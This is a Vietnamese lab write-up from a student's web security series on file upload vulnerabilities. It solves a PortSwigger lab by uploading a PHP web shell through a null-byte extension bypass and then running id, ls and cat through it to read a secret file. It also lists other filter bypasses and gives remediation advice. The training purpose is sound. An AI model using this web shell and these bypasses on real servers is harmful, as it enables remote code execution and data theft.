Chuyển đến nội dung chính
  1. Nghiên cứu & Ghi chép kỹ thuật/

Lỗ hổng File upload

·2433 từ·12 phút
Nguyễn Hoàng Thanh Phong
Tác giả
Nguyễn Hoàng Thanh Phong
Sinh viên năm cuối ngành An toàn thông tin tại Đại học FPT. Chuyên nghiên cứu khai thác lỗ hổng bảo mật Web, kiến trúc bảo mật AWS và các công cụ tự động hóa
Mục lục
Web Security Iaw301 - Bài viết này là một phần của loạt bài.
Phần 19: Bài viết này

Hỏi & Đáp
#

1. Lỗ hổng File Upload là gì và chúng gây ra rủi ro gì cho ứng dụng web cũng như máy chủ? Thảo luận về hậu quả của việc xử lý file tải lên không an toàn (bao gồm thực thi mã độc, xâm phạm hệ thống, rò rỉ dữ liệu). Lỗ hổng này khác với các vấn đề bảo mật đầu vào khác như thế nào?
#

  • Định nghĩa & Cơ chế: Lỗ hổng File Upload xảy ra khi ứng dụng web cho phép người dùng tải file lên hệ thống máy chủ (filesystem) mà không kiểm tra (validate) chặt chẽ tên, loại (type), nội dung hoặc kích thước file. Sự lỏng lẻo này cho phép kẻ tấn công tải lên các file độc hại, đặc biệt là các script chạy phía server (như .php, .jsp, hoặc .asp) đóng vai trò là web shell.

  • Hậu quả & Rủi ro tiềm ẩn:

  • Thực thi mã từ xa (RCE): Nếu attacker tải thành công file script vào một thư mục được cấu hình cho phép thực thi mã, chúng có thể gửi HTTP request tới file đó để chạy các lệnh hệ điều hành (OS commands) với quyền của user chạy web server.

  • Xâm phạm hệ thống & Rò rỉ dữ liệu: RCE mở đường cho attacker đọc các file cấu hình nhạy cảm (chứa thông tin đăng nhập database), xâm nhập vào mạng nội bộ, đánh cắp dữ liệu độc quyền hoặc thay đổi giao diện ứng dụng (deface).

  • Tấn công Client-Side & Ghi đè: Kẻ tấn công có thể tải lên các file chứa mã độc hướng tới người dùng cuối (ví dụ: payload XSS ẩn trong file HTML hoặc SVG) hoặc ghi đè lên các file hệ thống quan trọng (như .htaccess hoặc web.config) để nới lỏng cấu hình bảo mật của server.

  • Điểm khác biệt so với các lỗ hổng đầu vào khác:

  • Lưu trữ trạng thái vật lý (Persistent Storage): Không giống như SQL Injection hay XSS (thường xử lý chuỗi trên RAM hoặc lưu trong table của database), lỗ hổng file upload đặt trực tiếp một file vật lý lên hệ thống file của máy chủ.

  • Tầng thực thi (Execution Layer): Việc khai thác phụ thuộc vào cách web server (Apache, Nginx, IIS) ánh xạ đường dẫn URL vào hệ thống file và cách nó xử lý các file extension, thay vì thao tác với cú pháp truy vấn cơ sở dữ liệu hay thao túng DOM của trình duyệt.

2. Mô tả quá trình khai thác lỗ hổng File Upload trong một ứng dụng web. Kẻ tấn công sử dụng những loại file nào, và làm thế nào để chúng vượt qua các cơ chế kiểm tra bảo mật phổ biến?
#

  • Phương pháp luận & Quy trình khai thác:
  1. Trinh sát & Lập bản đồ: Tìm kiếm các endpoint cho phép tải file (cập nhật avatar, đính kèm tài liệu, import CSV) và xác định xem file được lưu ở đâu, gọi ra như thế nào.
  2. Kiểm thử hành vi & Dò bộ lọc (Filter Discovery): Upload một file vô hại để hiểu luồng xử lý chuẩn. Sau đó, thử upload file thực thi (ví dụ: test.php) để quan sát cách server kiểm tra và từ chối file nguy hiểm.
  3. Vượt rào (Evasion) & Thực thi: Áp dụng các kỹ thuật đổi tên nâng cao, làm rối (obfuscate) extension hoặc giả mạo Content-Type để bypass bộ lọc. Cuối cùng, truy cập vào URL của file để thực thi mã.
  • Các loại file độc hại thường dùng:

  • Web Shells: Script phía server (<?php system($_GET['cmd']); ?>) dùng để nhận lệnh OS thông qua tham số HTTP.

  • Ghi đè cấu hình (Configuration Overrides): Tải lên file .htaccess (Apache) hoặc web.config (IIS) để ép server biên dịch các file mở rộng vô hại (như .png hay .txt) dưới dạng mã server-side.

  • Polyglot Files: File ảnh hợp lệ (JPG/PNG) nhưng được nhúng mã độc bên trong metadata (chẳng hạn như phần EXIF comments). Loại file này dễ dàng vượt qua các thư viện kiểm tra cấu trúc ảnh khắt khe nhất.

  • Các kỹ thuật Bypass phổ biến:

  • Extension lỗi thời / Ít dùng: Sử dụng các định dạng thực thi mà lập trình viên có thể quên đưa vào blacklist (ví dụ: .php5, .phtml, .shtml, hoặc .jspx).

  • Null Byte Injection (%00): Chèn một ký tự null được URL-encode ngay trước extension hợp lệ (ví dụ: shell.php%00.png). Tầng kiểm tra logic (cấp cao) xác nhận file kết thúc bằng .png nên cho phép. Tuy nhiên, khi chuyển xuống API hệ thống file (viết bằng C), chuỗi sẽ bị cắt ngang tại ký tự null, và file được lưu thực tế dưới tên shell.php.

  • Extension kép (Double Extensions): Đặt tên file dạng shell.php.png hoặc shell.png.php để lợi dụng lỗi cấu hình parser của Apache (xử lý extension từ phải sang trái cho đến khi gặp handler thực thi được).

  • Giả mạo MIME-Type: Dùng proxy (như Burp Suite) chặn HTTP request và sửa header Content-Type từ application/x-httpd-php thành image/jpeg nhằm đánh lừa các lớp kiểm tra định dạng hời hợt ở backend.


Khai thác tải lên Web shell thông qua file extension bị làm rối
#

Mục tiêu Lab
#

Mục tiêu của bài lab PortSwigger này là khai thác lỗ hổng file upload tại chức năng cập nhật ảnh đại diện (avatar). Ứng dụng đã thiết lập một blacklist để chặn các file PHP thông thường, nhưng cơ chế này có thể bị bypass bằng cách làm rối file extension. Để hoàn thành lab, tôi cần tải lên một PHP web shell cơ bản, thực thi lệnh để đọc nội dung file /home/carlos/secret và nộp lại chuỗi secret tìm được.

Bước 1: Truy cập ứng dụng
#

Tôi mở lab Web shell upload via obfuscated file extension trên PortSwigger. Trang chủ hiển thị một ứng dụng blog với trạng thái lab là Not solved:

Điều này xác nhận bề mặt tấn công (attack surface) nằm ở hệ thống quản lý tài khoản người dùng, cụ thể là phần thiết lập hồ sơ cá nhân.

Bước 2: Đăng nhập và xác thực
#

Tôi điều hướng đến trang login và xác thực bằng thông tin được cung cấp (wiener):

Sau khi đăng nhập, tôi vào bảng điều khiển tài khoản. Tại đây có mục Avatar cho phép chọn và tải lên ảnh đại diện:

Form upload này tương tác trực tiếp với filesystem của server và là entry point chính để kiểm thử file upload.

Bước 3: Tạo PHP web shell
#

Để chuẩn bị khai thác, tôi tạo một file PHP web shell đơn giản tên là shell.php:

1
<?php if (isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Script này kiểm tra tham số cmd trên URL và chuyển giá trị của nó vào hàm system() của PHP. Điều này cho phép thực thi lệnh OS tuỳ ý và trả kết quả thẳng ra HTTP response.

Bước 4: Thử tải lên PHP web shell thuần
#

Tôi chọn file shell.php vào form và thử upload trực tiếp để test baseline bảo mật của backend:

Bước 5: Quan sát bộ lọc từ chối extension
#

Server từ chối yêu cầu và trả về một thông báo lỗi rõ ràng:

1
Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file.

Việc bị chặn xác nhận rằng ứng dụng có cơ chế kiểm tra (validation) extension, được thiết kế để chỉ cho phép upload file ảnh.

Bước 6: Phân tích cơ chế kiểm tra form
#

Sử dụng Developer Tools của trình duyệt, tôi kiểm tra mã HTML của form upload (action="/my-account/avatar" method="POST" enctype="multipart/form-data"):

Thông qua DOM, có thể thấy form đẩy thẳng multipart data xuống backend mà không có JavaScript client-side kiểm tra file extension chặt chẽ. Điều này chứng tỏ logic validation hoàn toàn diễn ra ở server-side.

Bước 7: Bypass bộ lọc extension bằng Null Byte injection
#

Attacker Mindset: Khi backend chặn file upload bằng cách kiểm tra chuỗi kết thúc (vd: xác nhận filename có đuôi .png), nó sẽ dính lỗ hổng Null Byte injection (%00) nếu ngôn ngữ backend hoặc API của filesystem xử lý chuỗi theo chuẩn ngôn ngữ C (kết thúc chuỗi tại điểm null).

Thay vì cần một proxy tool, tôi bypass trực tiếp trên giao diện web bằng cách đổi tên payload, chèn %00 vào giữa đuôi PHP và đuôi ảnh hợp lệ:

1
filename="shell.php%00.png"

Tôi chọn file shell.php%00.png và submit. Logic bậc cao (high-level) của ứng dụng thấy chuỗi kết thúc bằng .png nên cho phép đi qua. Tuy nhiên, khi file được ghi vào ổ đĩa, filesystem ở backend cắt đứt chuỗi ngay tại ký tự null, kết quả file được lưu lại với tên shell.php.

Bước 8: Xác nhận file được upload thành công
#

Sau khi gửi payload, server chấp nhận file và phản hồi thành công:

1
The file avatars/shell.php has been uploaded.

Điều này chứng minh kỹ thuật null byte đã qua mặt bộ lọc thành công, một file PHP thực thi đã nằm gọn trong thư mục /files/avatars/.

Bước 9: Thực thi lệnh từ xa (RCE) qua web shell
#

Để kiểm chứng RCE, tôi truy cập trực tiếp vào URL của file web shell và truyền thử một lệnh hệ thống qua tham số cmd:

1
https://0a0a00f104cb073c80d267d100cd0004.web-security-academy.net/files/avatars/shell.php?cmd=id

Server thực thi lệnh và trả về định danh của system user:

1
uid=12002(carlos) gid=12002(carlos) groups=12002(carlos)

Điều này xác nhận tôi đã nắm toàn quyền thực thi lệnh từ xa dưới quyền của user carlos.

Bước 10: Xác định vị trí file mục tiêu
#

Để đạt mục tiêu của bài lab, tôi cần lấy được secret của Carlos. Tôi dùng lệnh ls để liệt kê các file trong thư mục home của Carlos:

1
https://0a0a00f104cb073c80d267d100cd0004.web-security-academy.net/files/avatars/shell.php?cmd=ls+/home/carlos

Kết quả cho thấy có một file tên là secret nằm tại /home/carlos/secret.

Bước 11: Đọc và trích xuất nội dung secret
#

Tôi dùng lệnh cat qua web shell để đọc nội dung file:

1
https://0a0a00f104cb073c80d267d100cd0004.web-security-academy.net/files/avatars/shell.php?cmd=cat+/home/carlos/secret

Server trả về chuỗi secret dạng plain-text:

1
eNfHiSfOLfB1Fk682Hi5FiHE4ccKPa6c

Bước 12: Nộp secret để hoàn thành lab
#

Tôi quay lại trang chủ của lab, nhấn Submit solution và nhập chuỗi secret vừa lấy được:

Sau khi submit, banner tự động chuyển thành Congratulations, you solved the lab! kèm theo huy hiệu Solved:

Lab được giải quyết thành công nhờ việc khai thác lỗ hổng file upload thông qua thủ thuật làm rối extension (null byte).


Phân tích lỗ hổng (Vulnerability Explanation)
#

Nguyên nhân cốt lõi của lỗ hổng này là logic kiểm tra file extension hời hợt kết hợp với cách xử lý chuỗi filesystem không an toàn. Ứng dụng cố gắng bảo vệ endpoint upload bằng cách kiểm tra xem filename có kết thúc bằng định dạng ảnh (.jpg hoặc .png) hay không. Tuy nhiên, do bước kiểm tra này chỉ xử lý chuỗi ở mức độ bề mặt mà không làm sạch (sanitize) các ký tự điều khiển (control characters), kẻ tấn công có thể chèn một byte rỗng (%00) vào giữa.

Khi ứng dụng chuyển filename shell.php%00.png xuống các thư viện quản lý file tầng thấp (dùng C-style null-terminated strings), hệ thống coi %00 là điểm kết thúc của chuỗi. Hậu quả là file được lưu trực tiếp vào web root dưới tên shell.php. Do thư mục lưu trữ (/files/avatars/) không được chặn quyền thực thi script, web server (Apache/Nginx) sẽ tự động biên dịch và chạy file PHP khi có request truy cập thay vì hiển thị nó như một file tĩnh.

Tác động bảo mật (Security Impact)
#

Tác động ở đây là việc chiếm quyền thực thi mã từ xa (RCE) hoàn toàn trên máy chủ. Trong thực tế, kẻ tấn công khai thác thành công lỗ hổng này sẽ chiếm được quyền command-line tương đương với quyền của web application user. Đây là bàn đạp (pivot point) để tấn công sâu hơn vào hạ tầng mạng.

Những rủi ro bao gồm:

  • Thực thi lệnh hệ thống tự do, cho phép cấy backdoor hoặc malware vĩnh viễn.
  • Đọc toàn bộ file cấu hình nhạy cảm, bao gồm chuỗi kết nối database, API secrets và khóa mã hóa.
  • Sửa đổi, xóa bỏ hoặc đánh cắp cơ sở dữ liệu khách hàng.
  • Lateral movement (Di chuyển ngang) để tấn công các máy chủ nội bộ khác cùng mạng.
  • Gây tổn hại hoàn toàn đến tính Bảo mật, Toàn vẹn và Tính sẵn sàng (CIA Triad) của ứng dụng.

Khuyến nghị khắc phục (Remediation Recommendations)
#

Để ngăn chặn lỗ hổng file upload và web shell, doanh nghiệp cần triển khai chiến lược phòng thủ chiều sâu (defense-in-depth) thay vì chỉ dựa vào việc so khớp chuỗi tên file.

  • Sử dụng Whitelist khắt khe: Chỉ cho phép một số lượng định dạng nhất định. Từ chối mọi filename chứa ký tự lạ, có nhiều extension hoặc ký tự điều khiển (%00).
  • Randomize tên file (Đổi tên ngẫu nhiên): Tuyệt đối không dùng tên file do người dùng cung cấp để lưu trữ. Hãy tạo một chuỗi ngẫu nhiên an toàn (như UUID) và tự động gắn đuôi extension hợp lệ (vd: 550e8400...-440000.png).
  • Lưu file ngoài Web Root: Đặt thư mục upload ở ngoài thư mục public document root của web server. Gọi file gián tiếp thông qua controller hoặc dùng dịch vụ lưu trữ đám mây ngoài (vd: AWS S3).
  • Vô hiệu hóa quyền thực thi script trong thư mục upload: Cấu hình web server (Apache, Nginx) từ chối thực thi bất kỳ script nào bên trong thư mục ảnh (vd: Dùng php_flag engine off trong .htaccess hoặc location ~* ^/uploads/.*\.php$ { deny all; } trong Nginx).
  • Validate Nội dung & Magic Bytes: Không tin tưởng filename hay Content-Type. Sử dụng các thư viện xử lý hình ảnh mạnh mẽ để quét cấu trúc file thực tế và kiểm tra magic bytes của header nhằm xác minh đúng loại file.

Kết luận
#

Bài viết đã minh chứng cho việc một bộ lọc blacklist không hoàn thiện và cơ chế xử lý chuỗi kém an toàn có thể dẫn đến lỗ hổng RCE nghiêm trọng như thế nào. Mặc dù ứng dụng đã cố gắng giới hạn chỉ cho upload ảnh PNG và JPG, việc chèn ký tự điều khiển %00 đã giúp PHP web shell qua mặt hệ thống kiểm duyệt để lưu dưới dạng một script thực thi. Bằng cách tương tác với shell này, attacker có thể thao túng toàn bộ OS và trích xuất các dữ liệu nhạy cảm nhất.

Web Security Iaw301 - Bài viết này là một phần của loạt bài.
Phần 19: Bài viết này